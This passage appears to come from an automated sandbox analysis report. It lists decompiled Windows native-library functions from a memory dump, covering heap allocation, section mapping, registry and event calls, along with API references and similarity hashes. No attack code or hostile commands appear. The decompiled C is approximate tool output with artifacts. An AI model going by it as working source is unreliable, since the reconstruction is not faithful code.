0x6ce91ad5

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6CE91A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6CE91A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6CE91A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6CE91AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6CE91AC8

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: 6c4d25fe54092fcd773ed8e16aee419358d0593ca72504f2986e581d5d6257c2
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: E73112B1E01259BBDB10CF9AD840E9EFBFDAF95714F24416AE910B7750D7708E448B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE03880, Relevance: 7.6, APIs: 5, Instructions: 97
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6CE03880(intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				signed int _t28;
				signed int _t30;
				signed int _t42;
				signed int _t45;
				void* _t46;

				_v20 = _v20 | 0xffffffff;
				_t28 = 0;
				_t42 = 0;
				_v24 = 0xfd050f80;
				_t46 = 0;
				_v16 = 0;
				_t45 = 0;
				_v12 = 0;
				_v8 = 0;
				if( *0x6cef84cc != 0) {
					E6CE2ECE0(_a12, _a8, 0, 0);
					_t30 = 0;
					L2:
					while(1) {
						do {
							L2:
							while(1) {
								if(_t46 != 0) {
									L5:
									_push(0x1030);
									_push(_t46);
									_push(_t45);
									_push(_t30);
									_push( &_v16);
									_push(_t42);
									if(E6CE4A3A0() >= 0) {
										_t43 = _t46;
										_t45 = E6CE0395E(_t46, 0);
										if(_t45 == 0x103) {
											_t42 = 0;
											_t30 = 0;
											_v16 = _v16 & 0;
											_t45 = 0;
											_v12 = _v12 & 0;
											_t46 = 0;
											_v8 = 0;
											continue;
										} else {
											break;
										}
										goto L9;
									}
								} else {
									_t46 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t46, 0x1030);
									if(_t46 == 0) {
										_t28 = 0xc0000017;
									} else {
										_t30 = _v8;
										goto L5;
									}
								}
								if(_t28 != 0x8000001a) {
									_t28 = E6CE2ECE0(_a12, _a8,  &_v24, 0);
								}
								if(_t46 != 0) {
									return RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t46);
								}
								goto L9;
							}
							_t13 = _t46 + 8; // 0x8
							_t42 = _t13;
							_v16 =  *_t46;
							_v12 =  *(_t46 + 4);
							_t30 =  *((intOrPtr*)(_t46 + 0x18));
							_v8 = _t30;
						} while (_t45 != 0xc000022d);
						E6CE92D0B(_t43);
						_t30 = _v8;
						_t46 = 0;
					}
				}
				L9:
				return _t28;
			}

0x6ce03888
0x6ce0388c
0x6ce0388f
0x6ce03891
0x6ce03899
0x6ce0389b
0x6ce0389f
0x6ce038a1
0x6ce038a4
0x6ce038ad
0x6ce038b7
0x6ce038bc
0x00000000
0x6ce038be
0x6ce038be
0x00000000
0x6ce038be
0x6ce038c0
0x6ce038e3
0x6ce038e3
0x6ce038e8
0x6ce038e9
0x6ce038ea
0x6ce038ee
0x6ce038ef
0x6ce038f7
0x6ce03924
0x6ce0392b
0x6ce03933
0x6ce5ffb7
0x6ce5ffb9
0x6ce5ffbb
0x6ce5ffbe
0x6ce5ffc0
0x6ce5ffc3
0x6ce5ffc5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce03933
0x6ce038c2
0x6ce038d6
0x6ce038da
0x6ce5ffdc
0x6ce038e0
0x6ce038e0
0x00000000
0x6ce038e0
0x6ce038da
0x6ce038fe
0x6ce5fff2
0x6ce5fff2
0x6ce03906
0x00000000
0x6ce03914
0x00000000
0x6ce03906
0x6ce0393b
0x6ce0393b
0x6ce0393e
0x6ce03944
0x6ce03947
0x6ce0394a
0x6ce0394d
0x6ce5ffcd
0x6ce5ffd2
0x6ce5ffd5
0x6ce5ffd5
0x6ce038be
0x6ce0391f
0x6ce0391f

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6CE038B7

Part of subcall function 6CE2ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6CE2ED2C
Part of subcall function 6CE2ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6CE2ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6CE038D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6CE038F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6CE03914

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: c5b34dbb762671227879dbad89e02e14c18b9a2721bf241a820008fe1188fa0d
Instruction ID: 2122fcfa245f4fb4836f4bccfe4727f3f5b1d6a2afaca805b648a68e1dfca7b0
Opcode Fuzzy Hash: c5b34dbb762671227879dbad89e02e14c18b9a2721bf241a820008fe1188fa0d
Instruction Fuzzy Hash: 5031B032E41619AFD720CFAAC840FDEB7B8EB05314F21456AE914E7B54D7349A148BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE04A20, Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6CE04A20(void* __ecx, void* _a4, intOrPtr _a8) {
				void* __esi;
				void* __ebp;
				char* _t21;
				void* _t32;
				intOrPtr* _t34;
				intOrPtr _t36;
				void* _t37;
				void* _t38;
				void* _t40;

				if(E6CE27D50() != 0) {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t21 = 0x7ffe0386;
				}
				_t40 = _a4;
				if( *_t21 != 0) {
					E6CED9BBE(_t40,  *((intOrPtr*)(_t40 + 0x20)),  *((intOrPtr*)(_t40 + 0x24)),  *((intOrPtr*)(_t40 + 0x34)));
				}
				if(_a8 == 0 && ( *(_t40 + 0x1c) & 0x000000c0) != 0) {
					_push(2);
					_pop(0);
				}
				_t34 =  *((intOrPtr*)(_t40 + 0x14));
				_t36 =  *0x6cef86b8;
				if(_t34 == 0) {
					_t34 = _t36;
					if(0 == 0) {
						_t34 =  *0x6cef86c0;
					}
				}
				_t50 = _t34 -  *0x6cef86c0;
				if(_t34 !=  *0x6cef86c0) {
					__eflags = _t34 - _t36;
					if(__eflags != 0) {
						__eflags = 0xffffffff;
						asm("lock xadd [ecx], eax");
						if(0xffffffff == 0) {
							E6CE09240(_t32, _t34, _t38, _t40, 0xffffffff);
						}
						L11:
						if( *((intOrPtr*)(_t40 + 0x18)) != 0) {
							_push( *((intOrPtr*)(_t40 + 0x18)));
							E6CE495D0();
						}
						if( *((intOrPtr*)(_t40 + 0x28)) != 0xffffffff) {
							E6CE39B10( *((intOrPtr*)(_t40 + 0x28)));
						}
						if( *((intOrPtr*)(_t40 + 0x2c)) != 0) {
							E6CE10840(_t34,  *((intOrPtr*)(_t40 + 0x2c)));
						}
						return RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t40);
					}
					_t37 = 0x6cef86bc;
					_t34 = 0x6cef86b8;
					L10:
					E6CE39B82(_t32, _t34, _t37, _t38, _t40, _t50);
					goto L11;
				}
				_t37 = 0x6cef86c4;
				_t34 = 0x6cef86c0;
				goto L10;
			}

0x6ce04a31
0x6ce60a89
0x6ce04a37
0x6ce04a37
0x6ce04a37
0x6ce04a3f
0x6ce04a42
0x6ce60a9e
0x6ce60a9e
0x6ce04a4d
0x6ce04abf
0x6ce04ac1
0x6ce04ac1
0x6ce04a55
0x6ce04a58
0x6ce04a60
0x6ce04a62
0x6ce04a66
0x6ce04a68
0x6ce04a68
0x6ce04a66
0x6ce04a6e
0x6ce04a74
0x6ce60aa8
0x6ce60aaa
0x6ce60abb
0x6ce60abe
0x6ce60ac2
0x6ce60ac8
0x6ce60ac8
0x6ce04a89
0x6ce04a8d
0x6ce60ad2
0x6ce60ad5
0x6ce60ad5
0x6ce04a97
0x6ce60ae2
0x6ce60ae2
0x6ce04aa1
0x6ce60aef
0x6ce60aef
0x6ce04abc
0x6ce04abc
0x6ce60aac
0x6ce60ab1
0x6ce04a84
0x6ce04a84
0x00000000
0x6ce04a84
0x6ce04a7a
0x6ce04a7f
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6CE04A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6CE04AB3

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: a14044da3e9375859e5333343f307afde31774e98ad0f7f819c3bfa782a6e7f1
Instruction ID: 61858b1d3775f97977845c195355368d8d047de9cc8287d200b690f61211d0b1
Opcode Fuzzy Hash: a14044da3e9375859e5333343f307afde31774e98ad0f7f819c3bfa782a6e7f1
Instruction Fuzzy Hash: 1321D2303986419BC7209A27DA02B0A37B5AB5336CF34471FD46556FA0EB30E862CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CE128AE, Relevance: 7.6, APIs: 5, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE128AE(signed int __edx) {
				void* _t14;
				char* _t17;
				signed char* _t27;
				void* _t31;
				signed int _t35;
				signed char* _t37;
				char* _t39;

				_t35 = __edx;
				_t14 = E6CE27D50();
				_t39 = 0x7ffe0384;
				if(_t14 != 0) {
					_t17 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t17 = 0x7ffe0384;
				}
				_t37 = 0x7ffe0385;
				if( *_t17 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(E6CE27D50() == 0) {
							_t27 = 0x7ffe0385;
						} else {
							_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t27 & 0x00000020) != 0) {
							L6CE87016(0x1480, _t35, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				_t31 = L6CE1EEF0(0x6cef5350);
				if(E6CE27D50() != 0) {
					_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t39 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(E6CE27D50() != 0) {
							_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t37 & 0x00000020) != 0) {
							L6CE87016(0x1481, _t35 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				return _t31;
			}

0x6ce128ae
0x6ce128b3
0x6ce128b8
0x6ce128bf
0x6ce67692
0x6ce128c5
0x6ce128c5
0x6ce128c5
0x6ce128ca
0x6ce128cf
0x6ce676a9
0x6ce676b6
0x6ce676c8
0x6ce676b8
0x6ce676c1
0x6ce676c1
0x6ce676cd
0x6ce676e3
0x6ce676e3
0x6ce676cd
0x6ce676a9
0x6ce128df
0x6ce128e8
0x6ce676f7
0x6ce676f7
0x6ce128f1
0x6ce6770f
0x6ce6771c
0x6ce67727
0x6ce67727
0x6ce67730
0x6ce67746
0x6ce67746
0x6ce67730
0x6ce6770f
0x6ce128fc

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6CEF84D8,6CE10924,6CEF84D8,?,6CEF84D8,?,00000000,?,?,?,6CE1087C,?,?,?), ref: 6CE128B3
RtlEnterCriticalSection.1105(6CEF5350), ref: 6CE128DA
RtlGetCurrentServiceSessionId.1105(6CEF5350), ref: 6CE128E1
RtlGetCurrentServiceSessionId.1105 ref: 6CE676AF

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: a3d68e54979bdda0190a582d14c74910084fd6a28d754838ec2d278fcf0e3dcc
Instruction ID: 02e49745de696c33d958dc01dc1d71435a6dd2c086ee2c2c6e02a888a66da0bf
Opcode Fuzzy Hash: a3d68e54979bdda0190a582d14c74910084fd6a28d754838ec2d278fcf0e3dcc
Instruction Fuzzy Hash: 6921F33169A7819BE312976DCC08B5437F4AB4377CF3803A4E9309BFE1DB6C98518224

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0F150, Relevance: 7.6, APIs: 5, Instructions: 59
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6CE0F150(intOrPtr _a4, intOrPtr _a8) {
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _t35;
				void* _t37;

				_t37 = E6CE1A3E0( &_v12);
				_t35 = 0x18;
				if(_t37 >= 0) {
					_v36 = _t35;
					_v28 =  &_v12;
					_push( &_v36);
					_push(_a4);
					_v32 = 0;
					_push(_a8);
					_v24 = 0x640;
					_v20 = 0;
					_v16 = 0;
					_t37 = E6CE49600();
					RtlFreeUnicodeString( &_v12);
				}
				if(_t37 == 0xc0000034) {
					RtlInitUnicodeString( &_v12,  *0x6cde1808);
					_v36 = _t35;
					_v28 =  &_v12;
					_push( &_v36);
					_push(_a4);
					_v32 = 0;
					_push(_a8);
					_v24 = 0x640;
					_v20 = 0;
					_v16 = 0;
					_t37 = E6CE49600();
				}
				return _t37;
			}

0x6ce0f164
0x6ce0f16a
0x6ce0f16d
0x6ce0f172
0x6ce0f175
0x6ce0f17b
0x6ce0f17c
0x6ce0f17f
0x6ce0f182
0x6ce0f185
0x6ce0f18c
0x6ce0f18f
0x6ce0f197
0x6ce0f19d
0x6ce0f19d
0x6ce0f1a8
0x6ce659f5
0x6ce659fd
0x6ce65a00
0x6ce65a06
0x6ce65a07
0x6ce65a0a
0x6ce65a0d
0x6ce65a10
0x6ce65a17
0x6ce65a1a
0x6ce65a22
0x6ce65a22
0x6ce0f1b6

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6CE0F15F

Part of subcall function 6CE1A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6CE1A404
Part of subcall function 6CE1A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A414
Part of subcall function 6CE1A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A443
Part of subcall function 6CE1A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6CE0F19D

Part of subcall function 6CE22400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6CE98405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6CE22412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6CE0F192

Part of subcall function 6CE49600: LdrInitializeThunk.NTDLL(6CE41119,?,?,00000018,?), ref: 6CE4960A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 0cd1b9b27859d22fccbd0045e6bec38f3f691db2f4a8a6fc194ee160547174de
Instruction ID: 9be8b2b715aff96dba9c4ad8295aab29f29ec9199c6e52457892ed0d56fa8501
Opcode Fuzzy Hash: 0cd1b9b27859d22fccbd0045e6bec38f3f691db2f4a8a6fc194ee160547174de
Instruction Fuzzy Hash: E111F972D0021DABDF11CF96C8848EEFBB9EF48354F10415AE914A7200D7359A55CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE312BD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6CE312BD(intOrPtr __ecx) {
				void* _v8;
				void* _t22;
				signed int _t23;
				signed int _t24;
				void* _t30;
				intOrPtr _t37;
				signed int _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;

				_push(__ecx);
				_t47 =  *[fs:0x30];
				_t37 = __ecx;
				_t40 =  *(_t47 + 0x88);
				_t44 = ( *0x6cef8498 & 0x0000ffff) + _t40;
				if(_t44 >= 0xfffe) {
					L4:
					return _t22;
				}
				_t23 =  *(_t47 + 0x8c);
				if(_t44 == _t23) {
					_t24 = _t23 + _t23;
					 *(_t47 + 0x8c) = _t24;
					_t22 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t24 << 2);
					_t41 = _t22;
					_v8 = _t41;
					if(_t41 == 0) {
						 *(_t47 + 0x8c) = _t44;
						goto L4;
					}
					memcpy(_t41,  *(_t47 + 0x90),  *(_t47 + 0x88) << 2);
					_t30 =  *(_t47 + 0x90);
					if(_t30 != 0x6cef6660) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t30);
					}
					_t40 =  *(_t47 + 0x88);
					 *(_t47 + 0x90) = _v8;
				}
				 *((intOrPtr*)( *(_t47 + 0x90) + _t40 * 4)) = _t37;
				_t22 =  *(_t47 + 0x88) + 1;
				 *(_t47 + 0x88) = _t22;
				if( *((intOrPtr*)(_t37 + 8)) == 0xddeeddee) {
					 *(_t37 + 0x24) = _t22;
				} else {
					 *(_t37 + 0x7c) = _t22;
				}
				goto L4;
			}

0x6ce312c2
0x6ce312c5
0x6ce312cc
0x6ce312d6
0x6ce312dc
0x6ce312e4
0x6ce31313
0x6ce31319
0x6ce31319
0x6ce312e6
0x6ce312ee
0x6ce3131a
0x6ce3131c
0x6ce31331
0x6ce31336
0x6ce31338
0x6ce3133d
0x6ce3137d
0x00000000
0x6ce3137d
0x6ce31350
0x6ce31355
0x6ce31363
0x6ce75512
0x6ce75512
0x6ce3136c
0x6ce31372
0x6ce31372
0x6ce312f6
0x6ce312ff
0x6ce31300
0x6ce3130d
0x6ce31385
0x6ce3130f
0x6ce3130f
0x6ce3130f
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,?,?,6CE3127D,?,00000000,?,6CE5FC21,00000000,00000000), ref: 6CE31331
memcpy.1105(00000000,?,?,?,00000000,?,?,-00000001,?,?,?,6CE3127D,?,00000000,?,6CE5FC21), ref: 6CE31350

Strings

`fl, xrefs: 6CE3135E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapmemcpy
String ID: `fl
API String ID: 1925790395-4197792209
Opcode ID: 3effd6bcf0905956117ca4098a1011503c7dda58c8c61814d567a5a85775f9f0
Instruction ID: 087b9d6a046b60ca37be8196fbf3f8bc9f1222777a2f63f9e54829f7d9764346
Opcode Fuzzy Hash: 3effd6bcf0905956117ca4098a1011503c7dda58c8c61814d567a5a85775f9f0
Instruction Fuzzy Hash: F4214771601650DFD720CFA9C881BAAB3F9FB45354F21882DE4AECBB11DA30A840CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0A63B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE0A63B(intOrPtr __ecx) {
				signed short _t14;
				signed short _t15;
				void* _t23;
				signed int _t24;
				intOrPtr _t27;
				void* _t31;
				signed short _t33;
				void* _t38;

				_t27 = __ecx;
				_t33 =  *0x6cef8498;
				 *((short*)(((0 |  *((intOrPtr*)(__ecx + 8)) == 0xddeeddee) - 0x00000001 & 0x00000058) + __ecx + 0x24)) = 0xffff;
				_t38 = _t33 -  *0x6cef5cb0; // 0x4
				if(_t38 == 0) {
					_t14 =  *0x6cef5cb0; // 0x4
					_t15 = _t14 + _t14;
					 *0x6cef5cb0 = _t15;
					_t31 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, (_t15 & 0x0000ffff) << 2);
					if(_t31 != 0) {
						_t33 =  *0x6cef8498;
						memcpy(_t31,  *0x6cef56f4, (_t33 & 0x0000ffff) << 2);
						_t23 =  *0x6cef56f4; // 0x6cef6640
						if(_t23 != 0x6cef6640) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t23);
							_t33 =  *0x6cef8498;
						}
						 *0x6cef56f4 = _t31;
						L2:
						_t24 = _t33 & 0x0000ffff;
						 *0x6cef8498 = _t33 + 1;
						 *((intOrPtr*)(_t31 + _t24 * 4)) = _t27;
						L3:
						return _t24;
					}
					_t24 =  *0x6cef8498;
					 *0x6cef5cb0 = _t24;
					goto L3;
				}
				_t31 =  *0x6cef56f4; // 0x6cef6640
				goto L2;
			}

0x6ce0a63e
0x6ce0a643
0x6ce0a65e
0x6ce0a663
0x6ce0a66a
0x6ce642f5
0x6ce642fa
0x6ce642fc
0x6ce64319
0x6ce6431d
0x6ce64330
0x6ce64345
0x6ce6434d
0x6ce64357
0x6ce64365
0x6ce6436a
0x6ce6436a
0x6ce64371
0x6ce0a676
0x6ce0a676
0x6ce0a67b
0x6ce0a682
0x6ce0a685
0x6ce0a688
0x6ce0a688
0x6ce6431f
0x6ce64325
0x00000000
0x6ce64325
0x6ce0a670
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,6CE312AD,?,00000000,?,6CE5FC21,00000000,00000000), ref: 6CE64314

Strings

@fl, xrefs: 6CE64352

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID: @fl
API String ID: 1279760036-4254678247
Opcode ID: f5a48f08dba83515a17e824615d6a0d8a8c7e79d956ccd62afad74f5f4e26436
Instruction ID: 3770a864208daec197003b94736b57351b61ce65171e669fe989f1d934b7fde1
Opcode Fuzzy Hash: f5a48f08dba83515a17e824615d6a0d8a8c7e79d956ccd62afad74f5f4e26436
Instruction Fuzzy Hash: 3111E33B352580EACB358F19E851B6537B5FBE7B58B724026E524DBB50E7348841C360

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE9176C(signed int __ecx) {
				char _v8;
				char* _v12;
				short _v14;
				char _v16;
				signed int _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				char _v52;
				short _t22;
				short _t23;
				void* _t27;
				void* _t29;
				signed int _t38;

				_t22 = 0x46;
				_v16 = _t22;
				_t23 = 0x48;
				_v14 = _t23;
				_t38 = __ecx;
				_v12 = L"\\KernelObjects\\SystemErrorPortReady";
				_v44 =  &_v16;
				_push( &_v52);
				_push(0x100001);
				_v52 = 0x18;
				_push( &_v8);
				_v48 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_t27 = E6CE49900();
				if(_t27 >= 0) {
					if(__ecx != 0xffffffff) {
						_v28 = __ecx * 0xffffd8f0;
						_v24 = __ecx * 0xffffd8f0 >> 0x20;
					}
					asm("sbb esi, esi");
					_push( ~(_t38 + 1) &  &_v28);
					_push(0);
					_push(_v8);
					_t29 = E6CE49520();
					_push(_v8);
					E6CE495D0();
					return _t29;
				}
				return _t27;
			}

0x6ce91778
0x6ce9177b
0x6ce91781
0x6ce91782
0x6ce91786
0x6ce9178b
0x6ce91792
0x6ce91798
0x6ce91799
0x6ce917a1
0x6ce917a8
0x6ce917a9
0x6ce917ac
0x6ce917af
0x6ce917b2
0x6ce917b5
0x6ce917bc
0x6ce917c1
0x6ce917cc
0x6ce917cf
0x6ce917cf
0x6ce917d8
0x6ce917dc
0x6ce917dd
0x6ce917de
0x6ce917e1
0x6ce917e6
0x6ce917eb
0x00000000
0x6ce917f0
0x6ce917f7

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6CE917B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6CE917E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6CE917EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6CE9178B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: b7ee6a8007c329dd8356a0c6a1cb797864f806c931be81d6d8d0374607306407
Instruction ID: 458e1f90f50f5121d7e15f2918071a6ee324ab4beb2174fdda1912f888fb478a
Opcode Fuzzy Hash: b7ee6a8007c329dd8356a0c6a1cb797864f806c931be81d6d8d0374607306407
Instruction Fuzzy Hash: 24113375D1021CAADB10CFE99941ADEFBBCEF89214F20415BE914F3350E7704A05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6CE042C7

Part of subcall function 6CE40F48: ZwOpenKey.1105(?,?,00000018), ref: 6CE41015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6CE6068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6CE606A6

Strings

\DllNXOptions, xrefs: 6CE042BE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
